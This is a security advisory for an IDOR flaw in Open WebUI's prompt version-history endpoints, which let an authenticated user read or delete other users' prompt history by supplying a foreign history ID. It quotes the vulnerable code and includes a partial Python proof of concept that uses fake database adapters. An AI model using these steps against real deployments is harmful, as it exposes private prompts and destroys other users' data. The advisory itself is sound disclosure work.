GitHub Advisoryadvisory · PyPI
GHSA-4r4w-2wgp-w7cj Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion
MEDIUM
Official page ↗
- Aliases
- CVE-2026-54015
- Ecosystem
- PyPI
- Packages
- open-webui
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L
- Weaknesses
- CWE-284, CWE-639
- Reviewed
- 2026-06-17
Affected packages
• PyPI open-webui: < 0.9.6 → fixed in 0.9.6
Description
Summary
Open WebUI's prompt version-history endpoints authorize the `prompt_id` in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (`history_entry.prompt_id == prompt.id`). Three operations are affected:
• `GET /api/v1/prompts/id/{prompt_id}/history/diff` — returns another prompt's history snapshots (read).
• `POST /api/v1/prompts/id/{prompt_id}/update/version` — restores another prompt's snapshot into the caller's prompt, exposing its content (read).
• `DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}` — deletes another prompt's history entry (delete).
An authenticated user with access to any prompt they control, plus a victim `prompt_history.id`, can read or delete another user's private prompt history. The single-entry read endpoint (`GET .../history/{history_id}`) already enforces the binding; these three did not.
Impact
Security boundary crossed: prompt confidentiality and integrity.
Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim `prompt_history.id`, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.
Root Cause
The route checks read access only for `prompt_id`:
```python
backend/open_webui/routers/prompts.py
prompt = await Prompts.get_prompt_by_id(prompt_id, db=db)
...
if not (
user.role == 'admin'
or prompt.user_id == user.id
or await AccessGrants.has_access(
user_id=user.id,
resource_type='prompt',
resource_id=prompt.id,
permission='read',
db=db,
)
):
raise HTTPException(...)
```
But the authorized prompt ID is not passed into the diff sink:
```python
backend/open_webui/routers/prompts.py
diff = await PromptHistories.compute_diff(from_id, to_id, db=db)
```
`compute_diff()` fetches both history entries globally by ID and returns their full snapshots:
```python
backend/open_webui/models/prompt_history.py
result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))
from_entry = result_from.scalars().first()
result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))
to_entry = result_to.scalars().first()
...
return {
'from_snapshot': from_snapshot,
'to_snapshot': to_snapshot,
...
}
```
There is no check that `from_entry.prompt_id == prompt_id` or `to_entry.prompt_id == prompt_id`.
The same missing binding affects two further endpoints. `POST .../update/version` restores a snapshot fetched globally by `version_id`:
```python
backend/open_webui/models/prompts.py — update_prompt_version
history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)
...
prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt
prompt.version_id = version_id
```
`DELETE .../history/{history_id}` deletes an entry fetched globally by `history_id`:
```python
backend/open_webui/models/prompt_history.py — delete_history_entry
result = await db.execute(select(PromptHistory).filter_by(id=history_id))
entry = result.scalars().first()
...
await db.delete(entry)
```
Neither checks `entry.prompt_id == prompt.id`. The single-entry read endpoint (`GET .../history/{history_id}`) does (`history_entry.prompt_id != prompt.id → 404`); these three endpoints were missing it.
PoC
```python
!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.
The PoC executes:
• the real routers.prompts.get_prompt_diff() route function
• the real PromptHistories.compute_diff() implementation
Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""
from __future__ import annotations
import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
def prepare_imports() -> None:
repo_root = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(repo_root / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeScalarResult:
def __init__(self, row):
self.row = row
def first(self):
return self.row
class FakeExecuteResult:
def __init__(self, row):
self.row = row
def scalars(self):
return FakeScalarResult(self.row)
class FakePromptHistoryDb:
def __init__(self, rows):
self.rows = rows
self.calls = 0
async def execute(self, stmt):
row = self.rows[self.calls]
self.calls += 1
return FakeExecuteResult(row)
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def run_real_compute_diff(from_id: str, to_id: str):
import open_webui.models.prompt_history as history_module
victim_from = SimpleNamespace(
id=from_id,
prompt_id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V1",
},
)
victim_to = SimpleNamespace(
id=to_id,
prompt_id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V2",
},
)
fake_db = FakePromptHistoryDb([victim_from, victim_to])
original_context = history_module.get_async_db_context
try:
history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
diff = await history_module.PromptHistories.compute_diff(from_id, to_id)
finally:
history_module.get_async_db_context = original_context
return diff
async def main() -> None:
prepare_imports()
import open_webui.routers.prompts as prompts_router
attacker_prompt = SimpleNamespace(
id="attacker-prompt",
user_id="attacker",
)
attacker = SimpleNamespace(id="attacker", role="user")
victim_from_id = "victim-history-from"
victim_to_id = "victim-history-to"
class FakePrompts:
looked_up_prompt_ids = []
async def get_prompt_by_id(self, prompt_id, db=None):
self.looked_up_prompt_ids.append(prompt_id)
if prompt_id == "attacker-prompt":
return attacker_prompt
return None
class FakeAccessGrants:
async def has_access(self, *args, **kwargs):
return False
class FakePromptHistories:
compute_diff_calls = []
async def compute_diff(self, from_id, to_id, db=None):
self.compute_diff_calls.append(
{
"from_id": from_id,
"to_id": to_id,
"authorized_prompt_id_not_passed": True,
}
)
return await run_real_compute_diff(from_id, to_id)
fake_prompts = FakePrompts()
fake_histories = FakePromptHistories()
original = {
"Prompts": prompts_router.Prompts,
…
Related
Alias · CVE (1)
- CVE-2026-54015 Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. vulnerability
References
- https://github.com/open-webui/open-webui/security/advisories/GHSA-4r4w-2wgp-w7cj web
- https://nvd.nist.gov/vuln/detail/CVE-2026-54015 advisory
- https://github.com/advisories/GHSA-4r4w-2wgp-w7cj advisory
- https://github.com/open-webui/open-webui package
- https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2701.yaml web
- https://pypi.org/project/open-webui web